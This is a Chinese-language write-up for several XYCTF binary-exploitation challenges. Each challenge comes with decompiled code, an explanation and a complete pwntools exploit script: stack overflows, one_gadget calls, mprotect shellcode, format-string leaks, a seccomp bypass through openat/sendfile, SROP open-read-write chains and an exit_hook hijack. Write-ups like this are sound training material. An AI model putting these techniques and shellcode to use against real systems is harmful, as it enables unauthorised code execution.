hello_world
解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:无需
- libc地址:[[覆盖截断符]]
- BSS段地址:无需
劫持程序执行流程:[[ret2text]]
获得shell或flag:[[用onegadget来getshell]]
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
init();
printf("%s", "please input your name: ");
read(0, buf, 0x48uLL);
printf("Welcome to XYCTF! %s\n", buf);
printf("%s", "please input your name: ");
read(0, buf, 0x48uLL);
printf("Welcome to XYCTF! %s\n", buf);
return 0;
}
exp
from pwn import *
pwnfile='./pwn'
r=remote("xyctf.top",)
#r=process(pwnfile)
elf=ELF(pwnfile)
context.log_level="debug"
def debug():
gdb.attach(r)
pause()
r.recvuntil(b'please input your name: ')
r.sendline(b'a'*0x27)
#debug()
addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base=addr-0x29d90
one=libc_base+0xebd43
rbp=libc_base
print('--------->',hex(addr))
print('libc--------->',hex(libc_base))
print('one--------->',hex(one))
#debug()
r.recvuntil(b'please input your name: ')
#debug()
pl=b'a'*0x20+p64(rbp)+p64(one)
r.sendline(pl)
r.interactive()
static_link
解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:无需
- libc地址:无需
- BSS段地址:无需
劫持程序执行流程:[[ret2text]]&&[[静态文件中用mprotect给数据段rwx权限]]
获得shell或flag:[[ret2shellcode]]
c
__int64 vuln()
{
char v1[32]; // [rsp+0h] [rbp-20h] BYREF
puts("static_link? ret2??");
return read(0LL, v1, 256LL);
}
思路
调用mprotect,写入shellcode,执行getshell
exp
from pwn import *
from LibcSearcher import *
from struct import pack
pwnfile='./pwn'
#io=remote("xyctf.top",)
io=process(pwnfile)
elf=ELF(pwnfile)
context(log_level='debug',arch='amd64')
def debug():
gdb.attach(io)
pause()
mprotect=0x4482c0
pop_rdi=0x401f1f
pop_rdx=0x451322
pop_rsi=0x409f8e
addr=0x4c8000
read=0x447580
io.recvuntil(b'static_link? ret2??')
shell=asm(shellcraft.sh())
p=b'a' * 0x28
p+=p64(pop_rdi)+p64(addr)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)+p64(0x7)+p64(mprotect)
p+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(addr)+p64(pop_rdx)+p64(len(shell))+p64(read)
p+=p64(addr)
#debug()
io.sendline(p)
sleep(0.5)
io.sendline(shell)
#io.sendline(shell)
io.interactive()
guestbook1
解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:无需
- libc地址:无需
- BSS段地址:无需
劫持程序执行流程:利用逻辑漏洞修改rbp
获得shell或flag:[[利用系统中的system]]
[*] '/home/jiang/dl/com/xyctf/Guestbook1/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fd000)
c
int GuestBook()
{
int v1[137]; // [rsp+Ch] [rbp-224h] BYREF
puts("Welcome to starRail.");
puts("please enter your name and id");
while ( 1 )
{
while ( 1 )
{
puts("index");
__isoc99_scanf("%d", v1);
if ( v1[0] <= 32 )
break;
puts("out of range");
}
if ( v1[0] < 0 )
break;
puts("name:");
read(0, &v1[4 * v1[0] + 1], 0x10uLL);
puts("id:");
__isoc99_scanf("%hhu", (char *)&v1[129] + v1[0]);
}
return puts("Have a good time!");
}
思路
先看函数先给v1[0]赋值,对其有两次判断,第一次要小于32然后才能出外循环,第二次要大于等于0,否则退出内循环。经过两次对v1[0]的判断后,向v1[4 * v1[0] + 1]写入0x10长度的数据,最后向v1[129] + v1[0]的位置写入一个字节长度的数据。
题目是有后门函数的,所以要把返回地址改成后门函数。name明显写不到,所以就想怎么用一字节改返回地址。
v1[0]最大为32,所以id最多可以写到v1[137]的位置即rbp的位置,因为是小端序所以可以修改rbp指向地址的最后一个字节。
举例:
46:0230│ rbp 0x7fffffffddd0 —▸ 0x7fffffffddf0 ◂— 0x1
47:0238│+008 0x7fffffffddd8 —▸ 0x401373 (main+39) ◂— mov eax, 0
4a:0250│+020 0x7fffffffddf0 ◂— 0x1
4b:0258│+028 0x7fffffffddf8 —▸ 0x7ffff7dbbd90 ◂— mov edi, eax
能看到rbp指向0x7fffffffddf0,所以当结束guestbook函数的时候,需要执行leave ret
leave:mov rsp,rbp;pop rbp
ret:pop eip
执行mov rsp,rbp rsp=rbp=0x7fffffffddd0
执行pop rbp rbp=0x7fffffffddf0 rsp=0x7fffffffddd8
执行pop eip eip=0x401373 (main+39) 即返回到主函数中
然后我们看主函数
.text:000000000040136E call GuestBook
.text:0000000000401373 mov eax, 0
.text:0000000000401378 leave
.text:0000000000401379 retn
在返回到主函数后,又进行了一次leave ret(其实和栈迁移差不多)
执行mov rsp,rbp rsp=rbp=0x7fffffffddf0
执行pop rbp rbp=? rsp=0x7fffffffddf8
执行pop eip eip=0x7ffff7dbbd90 下一步就执行exit
0x7ffff7dbbd90: mov edi,eax
0x7ffff7dbbd92: call 0x7ffff7dd75f0 <exit>
通过举例能看出来在v1[0]小于0后,会连续执行两次leave ret,eip最终会去执行&(&(rbp+8))的地方
所以我们通过read向栈中写入backdoor,再修改rbp指向* backdoor-8,这样就可以执行后门函数了
exp
from pwn import *
context(log_level='debug',arch='amd64')
def debug():
gdb.attach(r)
pause()
def all(i,n,m):
r.recvuntil(b'index')
r.sendline(str(i))
r.recvuntil(b'name:')
r.sendline(n)
r.recvuntil(b'id:')
r.sendline(m)
i=1
door=0x401323
while(1):
try:
pwnfile='./pwn'
#r=remote("xyctf.top",)
r=process(pwnfile)
elf=ELF(pwnfile)
all(0x20,p64(door)*2,b'88')
r.recvuntil(b'index')
#debug()
r.sendline(str(-1))
r.recvuntil(b'Have a good time!')
r.sendline(b'cat flag\n')
i=i+1
print(i)
sleep(0.5)
r.recv()
if b'flag' in r.recv():
r.interactive()
break
except:
r.close()
babygift
解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:无需
- libc地址:[[Format String泄露内存]]
- BSS段地址:无需
劫持程序执行流程:[[ret2text]]
获得shell或flag:[[用onegadget来getshell]]
[*] '/mnt/c/Users/HelloCTF_OS/Desktop/com/xyctf/babyGift/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3f9000)
c
void GetInfo()
{
char s[32]; // [rsp+0h] [rbp-40h] BYREF
char v1[32]; // [rsp+20h] [rbp-20h] BYREF
printf("Your name:");
putchar(10);
fgets(s, 32, stdin);
printf("Your passwd:");
putchar(10);
fgets(v1, 64, stdin);
Gift();
}
gift
.text:0000000000401219 endbr64
.text:000000000040121D push rbp
.text:000000000040121E mov rbp, rsp
.text:0000000000401221 mov [rbp+var_8], rdi
.text:0000000000401225 nop
.text:0000000000401226 pop rbp
.text:0000000000401227 retn
.text:0000000000401227 ; } // starts at 401219
思路
大佬的思路,没用题目给的gift
利用第一次leave ret时的寄存器,修改返回地址,打印出栈上地址
.text:0000000000401271 mov rdi, rax ; format
.text:0000000000401274 mov eax, 0
.text:0000000000401279 call _printf
.text:000000000040127E mov edi, 0Ah ; c
.text:0000000000401283 call _putchar
.text:0000000000401288 mov rdx, cs:stdin@GLIBC_2_2_5 ; stream
.text:000000000040128F lea rax, [rbp+var_20]
.text:0000000000401293 mov esi, 40h ; '@' ; n
.text:0000000000401298 mov rdi, rax ; s
.text:000000000040129B call _fgets
.text:00000000004012A0 lea rax, [rbp+var_20]
.text:00000000004012A4 mov rdi, rax
.text:00000000004012A7 call Gift
.text:00000000004012AC nop
.text:00000000004012AD leave
.text:00000000004012AE retn
之后执行了rdi=rax=rbp-0x20,在rbp-0x20开始写入,一共可以写入0x40字节
之后就是常规覆盖rbp,达到执行onegadget的条件
exp
from pwn import *
pwnfile='./pwn'
r=remote("xyctf.top",)
#r=process(pwnfile)
elf=ELF(pwnfile)
context.log_level="debug"
def debug():
gdb.attach(r)
pause()
call_printf=0x401274
main=0x401220
one=0xebd43
one1=0xebc81
offset=0x21ab23
fake=0x404000
r.recvuntil(b'Your name:')
#debug()
r.sendline(b'%p%p%p%p'*3)
r.recvuntil(b'Your passwd:')
pl= b'%p%p%p%p'+b'b'*8+b'c'*8+b'd'*8+p64(fake+0x100)+p64(call_printf)
r.sendline(pl)
#addr = u64(r.recvuntil(b'\x3078')[-6:].ljust(8, b'\x00'))
r.recvline()
addr = int(r.recv(14),16)
print(hex(addr))
get=addr-offset+one1
sleep(0.3)
r.recvuntil(b'ccccccccdddddddd')
pl= b'a'*8+b'b'*8+b'c'*8+b'd'*8+p64(addr-offset-0x500)+p64(get)
r.sendline(pl)
r.interactive()
invisible_flag
解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:无需
- libc地址:无需
- BSS段地址:无需
劫持程序执行流程:[[ret2text]]&&[[静态文件中用mprotect给数据段rwx权限]]
获得shell或flag:[[ret2shellcode]]
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
void *buf; // [rsp+8h] [rbp-118h]
init(argc, argv, envp);
buf = mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( buf == (void *)-1LL )
{
puts("ERROR");
result = 1;
}
else
{
puts("show your magic again");
read(0, buf, 0x200uLL);
sandbox();
((void (*)(void))buf)();
result = 0;
}
return result;
}
思路
本质和调用shellcraft.cat(“./flag”)一样,但是shellcraft.cat(“./flag”)是调用了open和write
exp
from pwn import *
pwnfile='./pwn'
r=remote("xyctf.top",)
#r=process(pwnfile)
elf=ELF(pwnfile)
context(log_level='debug',arch='amd64')
def debug():
gdb.attach(r)
pause()
addr=0x114514000
shellcode = asm('''
push 0x67616c66
push 257
pop rax
push -100
pop rdi
mov rsi, rsp
xor rdx, rdx
syscall
mov r10d, 0x7fffffff
mov rsi, rax
push 40
pop rax
push 1
pop rdi
cdq
syscall
''')
r.recvuntil(b'show your magic again')
r.sendline(shellcode)
r.interactive()
simple_srop
解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:无需
- libc地址:无需
- BSS段地址:无需
劫持程序执行流程:[[ret2text]]
获得shell或flag:[[SROP]]
[*] '/mnt/c/Users/HelloCTF_OS/Desktop/com/xyctf/simple_srop/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp);
read(0, buf, 0x200uLL);
return 0;
}
思路
能栈溢出,还给了0x200的长度,况且题目也很明确,用srop
srop原理就不说了,具体来看怎么用,理解过程
第一次栈溢出来控制执行流
.text:00000000004012D4 leave
.text:00000000004012D5 retn
.text:0000000000401292 push rbp
.text:0000000000401293 mov rbp, rsp
.text:0000000000401296 mov rax, 0Fh
.text:000000000040129D syscall ; LINUX - sys_rt_sigreturn
.text:000000000040129F retn
pop_rax=0x401296 syscall=0x40129d
leave:
mov rsp,rbp rsp=rbp->pop_rax
pop rbp rsp->pop_rax rbp=pop_rax
ret:
pop rip rsp=sigframe rip=pop_rax
mov rax,0fh
syscall
ret: rsp=sigframe+8 rip=sigframe
这个时候就开始执行sigframe,恢复恶意进程(我们可以任意布置寄存器的值,来执行函数)
因为开了沙盒,所以不能直接写入/bin/sh执行system来getshell,所以就传统的orw就可以了
因为初始要构造三个sigframe(orw),所以我们需要重新读入数据,顺序即rorw
rax,rdi,rsi,rdx没必要看了,重要看rsp和rip(这两个是连续执行sigframe的关键)
在这道题里恢复完进程
第一次恢复进程
rip=0x40129d 执行syscall(read(0,0x404200,0x300))
rip=0x40129f pop rip:rip=old_rsp=0x404208 (先读入./flag,open好找地址)
rip=0x404208 执行sigframe(open)
之后情况就差不多,布置寄存器,算好rsp,保证rip执行就行了
from pwn import *
pwnfile='./vuln'
io=remote("127.0.0.1",42499)
#io=process(pwnfile)
elf=ELF(pwnfile)
context(log_level='debug',arch='amd64')
def debug():
gdb.attach(io)
pause()
fake_addr=0x404200
main=0x401289
pop_rax=0x401296
syscall_ret=0x40129d
ret=0x40101a
#debug()
sigframe=SigreturnFrame()
sigframe.rax=0x0
sigframe.rdi=0x0
sigframe.rsi=0x404200
sigframe.rdx=0x300
sigframe.rsp=0x404208
sigframe.rip=syscall_ret
#sigframe.rsp=0x404200
payload=p64(0x404200)+b'a'*0x18+p64(pop_rax)+p64(pop_rax)+flat(sigframe)
io.sendline(payload)
sigframe=SigreturnFrame()
sigframe.rax=0x2
sigframe.rdi=0x404200
sigframe.rsi=0x0
sigframe.rdx=0x0
sigframe.rsp=0x404308
sigframe.rip=syscall_ret
payload1=b'./flag\x00\x00'+p64(pop_rax)+flat(sigframe)
print(len(payload1))
sigframe=SigreturnFrame()
sigframe.rax=0x0
sigframe.rdi=0x3
sigframe.rsi=0x404600
sigframe.rdx=0x30
sigframe.rsp=0x404408
sigframe.rip=syscall_ret
payload1+=p64(pop_rax)+flat(sigframe)
print(len(payload1))
sigframe=SigreturnFrame()
sigframe.rax=0x1
sigframe.rdi=0x1
sigframe.rsi=0x404600
sigframe.rdx=0x30
sigframe.rsp=0x0
sigframe.rip=syscall_ret
payload1+=p64(pop_rax)+flat(sigframe)
io.sendline(payload1)
io.interactive()
intermittent
解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:无需
- libc地址:无需
- BSS段地址:无需
劫持程序执行流程:[[ret2text]]
获得shell或flag:[[ret2shellcode]]
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
unsigned __int64 i; // [rsp+0h] [rbp-120h]
void (*v5)(void); // [rsp+8h] [rbp-118h]
_DWORD buf[66]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v7; // [rsp+118h] [rbp-8h]
v7 = __readfsqword(0x28u);
init(argc, argv, envp);
v5 = (void (*)(void))mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( v5 == (void (*)(void))-1LL )
{
puts("ERROR");
result = 1;
}
else
{
write(1, "show your magic: ", 0x11uLL);
read(0, buf, 0x100uLL);
for ( i = 0LL; i <= 2; ++i )
*((_DWORD *)v5 + 4 * i) = buf[i];
v5();
result = 0;
}
return result;
}
思路
函数先创一段可读可写可执行的空间,然后读取0x100长度数据,把连续三次读取char类型的数据放入v5+0,v5+4* 4,v5+8* 4三个地址内,然后调用。
动调到call rax,观察寄存器,然后就能得出push rdx,pop rsi,syscall就能实现向0x114514000读入足够长的数据,且读取完数据,rip继续在0x114514004执行,所以我们在0x114514004开始写入shellcraft.sh()就可以了
from pwn import *
from LibcSearcher import *
pwnfile='./vuln'
p=remote("127.0.0.1",38805)
#p=process(pwnfile)
elf=ELF(pwnfile)
context(log_level='debug',arch='amd64')
def debug():
gdb.attach(p)
pause()
p.recvuntil(b'show your magic:')
#debug()
shell=b'\x00'*4+asm(shellcraft.sh())
pl=b'\x52\x5e\x0f\x05'+b'\x00'*8
p.sendline(pl)
sleep(1)
p.sendline(shell)
p.interactive()
fmt
解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:无需
- libc地址:无需
- BSS段地址:无需
劫持程序执行流程:[[Format String覆盖内存]]
获得shell或flag:[[劫持exit_hook]]
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf1[32]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
init();
printf("Welcome to xyctf, this is a gift: %p\n", &printf);
read(0, buf1, 0x20uLL);
__isoc99_scanf(buf1);
printf("show your magic");
return 0;
}
.text:000000000040126B lea rax, [rbp+buf1]
.text:000000000040126F mov edx, 20h ; ' ' ; nbytes
.text:0000000000401274 mov rsi, rax ; buf
.text:0000000000401277 mov edi, 0 ; fd
.text:000000000040127C call _read
.text:0000000000401281 lea rax, [rbp+buf1]
.text:0000000000401285 mov rdi, rax
.text:0000000000401288 mov eax, 0
.text:000000000040128D call ___isoc99_scanf
.text:0000000000401292 lea rdi, aShowYourMagic ; "show your magic"
.text:0000000000401299 mov eax, 0
.text:000000000040129E call printf
思路
先给你栈上地址,然后读入0x20数据,然后执行scanf函数(scanf和print解析格式化字符串一样),所以我们可以在read读入b’%8$s’+b’\x00’* 4+p64(libc_base+s_offset)* 3,像print覆盖内存一样,修改_dl_fini中的_rtld_lock_lock_recursive 和_rtld_lock_unlock_recursive(大概偏移就是_rtld_global+3840附近),之后在执行exit函数时,会先调用_rtld_lock_lock_recursive 和_rtld_lock_unlock_recursive这两个,所以把他们覆盖成backdoor或者system和/bin/sh都可以
from pwn import *
from LibcSearcher import *
pwnfile='./vuln'
r=remote("127.0.0.1",41283)
#r=process(pwnfile)
elf=ELF(pwnfile)
context.log_level="debug"
def debug():
gdb.attach(r)
pause()
offset=0x61cc0
s_offset=0x222060+3848
backdoor=0x4012c2
r.recvuntil(b'Welcome to xyctf, this is a gift:')
#debug()
print_addr=int(r.recv(15),16)
libc=ELF('/mnt/c/Users/HelloCTF_OS/Desktop/com/xyctf/fmt/libc-2.31.so')
libc_base=print_addr-offset
print(hex(print_addr))
print(hex(libc_base))
print(hex(libc_base+s_offset))
r.sendline(b'%8$s'+b'\x00'*4+p64(libc_base+s_offset)*3)
#r.sendline(p64(0x7325))
sleep(0.5)
pl=p64(backdoor)
r.sendline(pl)
#print(hex(stack_addr))
r.interactive()